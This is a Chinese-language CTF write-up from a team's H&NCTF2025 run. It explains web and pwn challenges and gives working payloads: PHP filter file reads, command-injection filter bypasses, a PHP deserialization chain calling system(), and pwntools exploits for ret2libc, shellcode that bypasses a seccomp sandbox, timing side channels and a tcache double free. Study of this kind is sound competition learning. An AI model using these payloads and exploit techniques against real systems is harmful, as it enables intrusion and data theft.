wp wp H&NCTF2025 OneSword 2025-06-08 2025-06-16
本次比赛排名为 42
没有达到队伍的期望水准 ,还需要继续加油
WEB DeceptiFlag
提交一个参数会跳转到
有qaq_visible 和 Lang
看源码也可以发现 post 提交 qaq_visible 和 Lang
还有个get参数 qaq
paylaod: get ?qaq=xiyangyang
post qaq_visible=任意值&Lang=huitailang
任意文件读取
这里看一下cookie 会发现flag文件 base64解码可以得到 /var/flag/flag.txt
用php伪协议 进行文件读取
/tips.php?file=php://filter/read/resource=/var/flag/flag.txt
Really_Ez_Rce
用变量拼接一下就可以绕过
paylaod:
Number[]=1&cmd=a=l;b=s;$a$b /
发现了flag.txt文件 但是.被过滤了 直接拼接也绕不过
通过grep 查找一下flag.txt文件 并赋给一个变量f
Number[]=1&cmd=a=l;b=s;c=gr;d=ep;f=$($a$b / | $c$d fla);echo $f
可以发现现在$f=flag.txt
拼接tac 读取flag.txt
paylaod:
Number[]=1&cmd=a=l;b=s;c=gr;d=ep;q=ta;w=c;f=$($a$b / | $c$d fla);$q$w /$f
ez_php
poc:
<?php class GOGOGO { public $dengchao; } class DouBao { public $dao; public $Dagongren; public $Bagongren; } class HeiCaFei { public $HongCaFei; } $heicafei = new HeiCaFei(); $heicafei->HongCaFei = 'system'; $doubao = new DouBao(); $doubao->dao = [$heicafei, 'ls /']; $doubao->Dagongren = array(1); $doubao->Bagongren = array(2); $gogogo = new GOGOGO(); $gogogo->dengchao = $doubao; // 验证数组序列化 echo "测试数组序列化:\n"; echo serialize(array(1)); // 应输出 a:1:{i:0;i:1;} echo "\n\n完整Payload:\n"; echo serialize($gogogo); ?>
运行得到
O:6:"GOGOGO":1:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:4:"ls /";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}
把 O的1改为2 绕过 throw new Exception(‘What do you want to do?’);
ofl1111111111ove4g 这个是flag文件
data=O:6:"GOGOGO":2:{s:8:"dengchao";O:6:"DouBao":3:{s:3:"dao";a:2:{i:0;O:8:"HeiCaFei":1:{s:9:"HongCaFei";s:6:"system";}i:1;s:23:"cat /ofl1111111111ove4g";}s:9:"Dagongren";a:1:{i:0;i:1;}s:9:"Bagongren";a:1:{i:0;i:2;}}}
PWN Stack Pivoting
常规检查 : NX保护
很明显的栈溢出漏洞 , 但是只有 0x10 字节的溢出 , 所以我们需要进行栈迁移
给了需要的 gadgets ,直接打 ret2libc , 利用 puts 函数泄露出 libc
由于出题人不小心把libc绑到自己的路径了 , 所以我们需要改一下 libc 路径 , 但是由于题目比较简单 , 我就直接盲打了
EXP: from pwn import *from struct import *from LibcSearcher import *p = remote('27.25.151.198' ,49211 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) context(arch='amd64' ,log_level='debug' ,os='linux' ) def ELF (func_name ): globals ()[f"{func_name} _got" ] = elf.got[func_name] globals ()[f"{func_name} _plt" ] = elf.plt[func_name] def GDB (script="" ): gdb.attach(p, gdbscript=script) def ph (var ): var_name = [name for name, value in globals ().items() if value is var][0 ] log.info(f"{var_name} >> {hex (var)} " ) def ELFlibc (real_addr, func_name ): global libc_base, system, binsh libc_base = real_addr - libc.symbols[func_name] system = libc_base + libc.symbols['system' ] binsh = libc_base + next (libc.search(b'/bin/sh' )) success(f"libc_base >> {hex (libc_base)} " ) sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) pop_rdi = 0x0000000000401263 ret = 0x000000000040101a bss = elf.bss()+0x900 again = 0x4011B7 main = 0x40119F leave_retn = 0x4011CE ru("can you did ?\n" ) ELF("puts" ) payload = b'a' *0x40 + p64(bss+0x40 ) + p64(again) sd(payload) payload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main) payload = payload.ljust(0x40 ,b'\x00' ) + p64(bss-8 ) + p64(leave_retn) sd(payload) puts = l64() ph(puts) ELFlibc(puts,"puts" ) ru("can you did ?\n" ) payload = b'a' *0x40 + p64(bss+0x40 +0x100 ) + p64(again) sd(payload) payload = p64(pop_rdi) + p64(binsh) + p64(system) payload = payload.ljust(0x40 ,b'\x00' ) + p64(bss+0x100 -8 ) + p64(leave_retn) sd(payload) p.interactive()
三步走战略
常规检查 : 64位程序 没有开启NX保护
题目设置了一些沙箱规则 ,我们利用 seccomp-tools 工具查看一下沙箱限制 。
这题对 open、read、write 没有限制 ,所以考虑打 orw
程序开启了一个可执行的空间·,让我们输入 shellcode 进入 buf ,最后还给了我们一个栈溢出 ,所以目标很明确了 ,就是栈溢出控制执行流到 buf 执行 shellcode 。
EXP: from pwn import *from struct import *from LibcSearcher import *p = process('./pwn' ) elf = ELF('./pwn' ) context(arch='amd64' ,log_level='debug' ,os='linux' ) def GDB (script="" ): gdb.attach(p, gdbscript=script) sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) bss = elf.bss() + 0x500 buf = 0x1337000 shellcode = asm(""" nop nop nop push 0x67616c66 mov rdi,rsp xor esi,esi push 2 pop rax syscall mov rdi,rax mov rsi,rsp mov edx,0x100 xor eax,eax syscall mov edi,1 mov rsi,rsp push 1 pop rax syscall """ )ru("I think you need to prepare your acceptance speech in advance. " ) sd(shellcode) ru("Please speak:Do you have anything else to say?" ) payload = b'a' *0x48 + p64(buf) sd(payload) p.interactive()
pdd助力
常规检查:
64位 NX保护
题目和随机数有关 ,但是仔细一看不难发现 ,随机数种子不为NULL,且都是有一定范围的固定值的 ,所以我们直接按着程序给的数据进行种子模拟 ,这样我们生成的随机数,就会按固定的顺序排列 ,这样我们就可以做到连续正确 ,从而进入 func ()函数。
简单明了的给了我们一个栈溢出 ,接下来就很好办了。
EXP: from pwn import *from struct import *from LibcSearcher import *from ctypes import CDLLp = remote('27.25.151.198' ,37944 ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) libc = CDLL("libc.so.6" ) context(arch='amd64' ,log_level='debug' ,os='linux' ) def ELF (func_name ): globals ()[f"{func_name} _got" ] = elf.got[func_name] globals ()[f"{func_name} _plt" ] = elf.plt[func_name] def GDB (script="" ): gdb.attach(p, gdbscript=script) def Libcer (real_addr, func_name ): global libc_base, system, binsh libc = LibcSearcher(func_name,real_addr) libc_base = real_addr - libc.dump(func_name) system = libc_base + libc.dump('system' ) binsh = libc_base + libc.dump('str_bin_sh' ) success(f"libc_base >> {hex (libc_base)} " ) sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) ret = 0x000000000040101a pop_rdi = 0x0000000000401483 again = 0x40121F current_time = int (time.time()) seed = current_time libc.srand(seed) v5 = libc.rand() new_seed = v5 % 5 - 44174237 libc.srand(new_seed) for i in range (55 ): ru("good!\n" ) rand_num = libc.rand() % 4 + 1 sl(str (rand_num)) ru("good!\n" ) libc.srand(8 ) for i in range (55 ): rand_num = libc.rand() % 4 + 8 sl(str (rand_num)) ru("Congratulations young man.\n" ) ELF("puts" ) payload = b'a' *0x38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(again) sd(payload) puts = l64() Libcer(puts,'puts' ) ru("Congratulations young man.\n" ) payload = b'a' *0x38 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system) sd(payload) p.interactive()
shellcode
常规检查:
64位 NX保护 PIE保护
主函数没什么好讲的 ,就是输入并执行shellcode 。 但是有一个 setup_sandbox 函数 ,对沙箱设置进行了限制 。
禁用了write,sendfile ,execve , 但是没有禁用 writev 。这题有两种打法 ,一个就是侧信道爆破 ,另外一个就是 open + read + writev ,这样看肯定是第二种打法方便很多 ,但是为什么我会傻傻的去用第一种呢,原因就在于题目附件下下来就发现了一个exp , 那个exp的打法就是侧信道爆破 , 虽然那个脚本打不通 ,但是这让我误以为这个题就是用侧信道爆破打的 , 导致我那时候连沙箱规则都没检查,然后就糊里糊涂的去爆破了 (赛后看了很多师傅的wp都用的是侧信道爆破哈哈)。
这里先贴一个侧信道爆破的EXP:
EXP1: from pwn import *from struct import *from LibcSearcher import *def pwn (): global s flag = '' count = 1 for i in range (len (flag), 0x50 ): left = 32 right = 127 while left < right: s = remote('27.25.151.198' ,49313 ) mid = (left + right) >> 1 orw_shellcode = f''' mov rdi, 0x67616c66 push rdi mov rdi, rsp mov rsi, 0 mov rdx, 0 mov rax, 2 syscall mov rdi, 3 mov rsi, rsp mov rdx, 0x100 mov rax, 0 syscall mov dl, byte ptr [rsp+{i} ] mov cl, {mid} cmp dl, cl ja loop ret loop: jmp loop ''' s.recvuntil("Enter your command: " ) s.sendline(asm(orw_shellcode)) start_time = time.time() try : s.recv(timeout=2 ) if (time.time() - start_time > 0.1 ): left = mid + 1 except : right = mid s.close() log.info('time-->' + str (count)) log.info(flag) count += 1 flag += chr (left) log.info(flag) if (flag[-1 ] == '}' ): break pwn() p.interactive()
然后再贴一个 writev 的exp:
from pwn import *from struct import *from LibcSearcher import *from ctypes import CDLLp = process('./pwn' ) elf = ELF('./pwn' ) context(arch='amd64' ,log_level='debug' ,os='linux' ) LIBC = lambda func :libc_base + libc.sym[func] sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) shellcode = asm( """ mov rax, 0x67616c662f2e push rax mov rdi, rsp xor edx, edx xor esi, esi push SYS_open pop rax syscall push 3 pop rdi push 0x1 /* iov size */ pop rdx push 0x100 lea rbx, [rsp-8] push rbx mov rsi, rsp push SYS_readv pop rax syscall push 1 pop rdi push 0x1 /* iov size */ pop rdx push 0x100 lea rbx, [rsp+8] push rbx mov rsi, rsp push SYS_writev pop rax syscall """ ) ru("Enter your command: " ) sd(shellcode) p.interactive()
梦中情pwn
常规检查 : 64位 NX保护 PIE保护
LIBC:2.35-0ubuntu3.8_amd64
题目不难 ,但是我第一次遇到有关导入 FLAG 环境的题目 ,我发现我本地环境没有 FLAG ,本地运行不了程序 ,不能调试,而且换libc之后的时候环境还出了问题,我就没有继续往下做了 ,这里其实可以直接用 export FLAG=”your_test_flag_here” ,向本地环境导入一个自己的 FLAG 环境就可以了 。
这题的 GLibc 是 2.35 版本
其中 flag 存储在一个 0x51 大小的堆块里面, 注意 0x91 大小的堆块的第一个内容, 其实就是我们 flag_chunk内容的指针 ,程序的show功能函数就是通过这个进行读取打印操作的,但是我们不能直接利用 红框 内的指针 ,因为程序对其进行了限制 ,不能使用 index 为 0 的指针 。
存在一个 uaf 漏洞 , free后没有对指针进行一个置空 。
我们可以利用 double free 漏洞来利用 fastbin 转 tcache bin 来申请出 0x91 内容处指针的位置 ,并且利用 tcache attack 来修改内容处的指针指向 flag 的指针 。
EXP: from pwn import *from struct import *from LibcSearcher import *from ctypes import CDLLp = process('./pwn' ) elf = ELF('./pwn' ) context(arch='amd64' ,log_level='debug' ,os='linux' ) def GDB (script="" ): gdb.attach(p, gdbscript=script) def add (content ): ru("4) Leaving the dream space\n" ) sl("1" ) ru("Please enter the content of the dream you wish to record (up to 64 characters).\n" ) sl(content) def show (index ): ru("4) Leaving the dream space\n" ) sl("2" ) ru("Please select the dream number you want to access:\n" ) sl(str (index)) def free (index ): ru("4) Leaving the dream space\n" ) sl("3" ) ru("Please select the dream number you want to access:\n" ) sl(str (index)) sd = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) rc = lambda num=4096 :p.recv(num) ru = lambda text :p.recvuntil(text) rl = lambda :p.recvline() pr = lambda num=4096 :print (p.recv(num)) LIBC = lambda func :libc_base + libc.sym[func] l32 = lambda :u32(p.recvuntil(b'\xf7' )[-4 :].ljust(4 ,b'\x00' )) l64 = lambda :u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) uu32 = lambda :u32(p.recv(4 ).ljust(4 ,b'\x00' )) uu64 = lambda :u64(p.recv(6 ).ljust(8 ,b'\x00' )) int16 = lambda data :int (data,16 ) for i in range (9 ): add(b'a' *8 ) add(b'a' *0x20 ) for i in range (7 ): free(i+1 ) free(8 ) free(9 ) free(8 ) for i in range (7 ): add(b'a' *8 ) free(3 ) free(10 ) add(b'a' *8 ) show(10 ) ru(b'\"' ) key = u64(p.recv(5 ).ljust(8 ,b'\x00' )) heap_base = key<<12 addr = heap_base + 0x2d0 add(p64(addr^key)) add(b'a' *8 ) add(b'a' *8 ) flag = heap_base + 0x330 add(p64(flag)*2 ) show(6 ) p.interactive()